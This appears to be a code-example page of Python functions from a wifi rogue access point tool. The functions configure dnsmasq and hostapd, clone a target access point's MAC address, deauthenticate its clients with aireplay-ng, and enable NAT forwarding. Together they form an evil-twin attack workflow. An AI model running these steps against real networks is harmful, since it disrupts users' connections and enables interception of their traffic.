Esempio n. 1
0
def establish_dns(target_interface, hosts=None):
    # setup dnsmasq
    # make sure dnsmasq is installed
    exec_sync(
        ["which", "dnsmasq"],
        error=
        "Error: dnsmasq is not installed. Install dnsmasq with `apt-get install dnsmasq`."
    )

    dnsmasq_conf = ""
    options = [
        "interface={0}".format(target_interface),
        "dhcp-range=10.0.0.10,10.0.0.250,12h",
        "dhcp-option=3,10.0.0.1",  # gateway
        "dhcp-option=6,10.0.0.1",  # DNS server (this machine)
        "server=8.8.8.8",  # upstream DNS server (Google DNS)
        "no-hosts",
        "log-queries",
        "log-dhcp"
    ]
    if hosts != None:
        options += ["addn-hosts={0}".format(hosts)]

    options += [""]
    dnsmasq_conf = "\n".join(options)

    print("Creating {0} file for {1}... ".format(DNSMASQ_CONF,
                                                 target_interface),
          end="",
          flush=True)
    with open(DNSMASQ_CONF, "w") as dnsmasq_conf_file:
        dnsmasq_conf_file.write(dnsmasq_conf)
    print("Done.")

    start_dns()
Esempio n. 2
0
def down_interface(target_interface):
    exec_sync(["ifconfig", target_interface, "down"],
              "Stopping interface {0}... ".format(target_interface),
              "Error: could not down network interface {0}.".format(
                  target_interface),
              "Done.",
              die=False)
Esempio n. 3
0
def execute_hostapd(conf):
    if not conf:
        conf = './hostapd.conf'

    exec_sync(['hostapd', conf],
              "Hosting access point...",
              "\nError: hostapd shutdown unexpectedly",
              "Done", silent=False)
Esempio n. 4
0
def stop_dns():
    dnsmasq_exists_pid = get_dnsmasq_pid()

    if dnsmasq_exists_pid > -1:
        exec_sync(["kill", str(dnsmasq_exists_pid)],
                  "Stopping dnsmasq process... ",
                  "Error: could not kill dnsmasq process with PID {0}.".format(
                      dnsmasq_exists_pid), "Done.")
Esempio n. 5
0
def exit_monitor_mode(target_interface):
    target_interface_in_monitor = check_monitor_mode(target_interface)

    if target_interface_in_monitor:
        exec_sync(
            ['airmon-ng', 'stop', target_interface + "mon"],
            "Stopping {0} monitor mode... ".format(target_interface + "mon"),
            "Error: could not stop {0} monitor mode using `airmon-ng stop {0}`"
            .format(target_interface + "mon"), "Done.")
Esempio n. 6
0
def enter_monitor_mode(target_interface):
    target_interface_already_monitor = check_monitor_mode(target_interface)

    if not target_interface_already_monitor:
        exec_sync(
            ['airmon-ng', 'start', target_interface],
            "Switching {0} to monitor mode... ".format(target_interface),
            "Error: could not switch {0} to monitor mode using `airmon-ng start {0}`"
            .format(target_interface), "Done.")
Esempio n. 7
0
def clone_mac(ap_id, interface):
    ap = ssid_list[ap_id-1]
    mac = ap[bssid_index].strip()
    # can't change MAC with interface up
    down_interface(interface)
    exec_sync(["macchanger", "-m", mac, interface],
              "Cloning MAC address...\n",
              "\nError: could not change MAC address for interface {intf}".format(intf = interface),
              "Done", silent=False)
    up_interface(interface)
Esempio n. 8
0
def stop_forward(forward_interface):
    exec_sync(
        [
            "iptables", "--table", "nat", "-A", "POSTROUTING", "-o",
            forward_interface, "-j", "MASQUERADE"
        ],
        "Disabling routing to interface {0} in `iptables`... ".format(
            forward_interface),
        "Error: failed to disable routing for interface {0} with `iptables --table nat -A POSTROUTING -o {0} -j MASQUERADE`."
        .format(forward_interface),
        "Done.",
        die=False)
Esempio n. 9
0
def deauth(ap_id,interface):
    ap = ssid_list[ap_id-1]
    ap_ssid = ap[ssid_index].strip()
    mac = ap[bssid_index].strip()
    channel = ap[chan_index].strip()

    # airmon-ng check kill
    check_kill()

    #start airmon-ng
    exec_sync(['airmon-ng', 'start', interface],
              "Switching {0} to monitor mode... ".format(interface),
              "Error: could not switch {0} to monitor mode using `airmon-ng start {0}`".format(interface),
              "Done.")

    #switch wireless card channel to target channel so aireplay will work
    exec_sync(['iwconfig', interface+'mon', 'channel', channel],
              "Switching channel of {0} to target channel... ".format(interface),
              "Error: could not switch {0} to target channel".format(interface),
              "Done.")

    #run aireplay attack
    exec_sync(["aireplay-ng", "-0", "1" ,"-a", mac, interface+"mon"],
              "Deauthing clients currently connected to {0}... ".format(ap_ssid),
              "Error: failed to deauth clients.",
              "Done.")

    #stop airmon-ng
    exec_sync(['airmon-ng', 'stop', interface + "mon"],
              "Stopping {0} monitor mode... ".format(interface + "mon"),
              "Error: could not stop {0} monitor mode using `airmon-ng stop {0}`".format(interface  + "mon"),
              "Done.")
Esempio n. 10
0
def get_dnsmasq_pid():
    pid = exec_sync(["pgrep", "dnsmasq"],
                    error="Warning: could not determine dnsmasq PID.",
                    silent=True,
                    die=False)

    if len(pid) > 0:
        return int(pid.decode("utf-8")[:-1])

    return -1
Esempio n. 11
0
def verify_interface(target_interface,
                     wireless=True,
                     msg=True,
                     silent=True,
                     err_silent=False):
    command = "ifconfig"
    if wireless: command = "iwconfig"

    if not msg:
        exec_sync([command, target_interface],
                  silent=silent,
                  err_silent=err_silent)
    else:
        # ensure the network target_interface exists, and is wireless
        exec_sync(
            [command, target_interface],
            "Checking interface {0}... ".format(target_interface),
            "Error: network interface \"{0}\" does not exist or is not wireless."
            .format(target_interface),
            "Done.",
            silent=silent,
            err_silent=err_silent)
Esempio n. 12
0
def establish_forward(forward_interface):
    # sysctl -w net.ipv4.ip_forward=1
    exec_sync(
        ["sysctl", "-w", "net.ipv4.ip_forward=1"],
        "Enabling IPv4 network forwarding in `sysctl`... ",
        "Error: failed to enable network forwarding with `sysctl -w net.ipv4.ip_forward=1`.",
        "Done.")

    # iptables -P FORWARD ACCEPT
    exec_sync(
        ["iptables", "-P", "FORWARD", "ACCEPT"],
        "Enabling network forwarding in `iptables`... ",
        "Error: failed to enable network forwarding with `iptables -P FORWARD ACCEPT`.",
        "Done.")

    # iptables --table nat -A POSTROUTING -o wlan0 -j MASQUERADE
    exec_sync([
        "iptables", "--table", "nat", "-A", "POSTROUTING", "-o",
        forward_interface, "-j", "MASQUERADE"
    ], "Enabling routing to interface {0} in `iptables`... ".format(
        forward_interface
    ), "Error: failed to enable routing for interface {0} with `iptables --table nat -A POSTROUTING -o {0} -j MASQUERADE`."
              .format(forward_interface), "Done.")
Esempio n. 13
0
def reset_mac(interface):
    exec_sync(["macchanger", "--permanent", interface],
              "Resetting MAC address...\n",
              "\nError: could not change MAC address for interface {intf}".format(intf = interface),
              "Done", silent = False)
Esempio n. 14
0
def establish_gateway(target_interface):
    exec_sync(["ifconfig", target_interface, "10.0.0.1/24", "up"],
              "Establishing local gateway for {0} at 10.0.0.1/24... ".format(
                  target_interface), "Error: failed to assign local gateway.",
              "Done.")
Esempio n. 15
0
def up_interface(target_interface):
    exec_sync(
        ["ifconfig", target_interface, "up"],
        "Starting interface {0}...".format(target_interface),
        "Error: could not up network interface {0}.".format(target_interface),
        "Done.")
Esempio n. 16
0
def check_kill():
    exec_sync(["airmon-ng", "check", "kill"],
              "Executing `airmon-ng check kill`... ",
              "Error: failed to kill conflicting processes.", "Done.")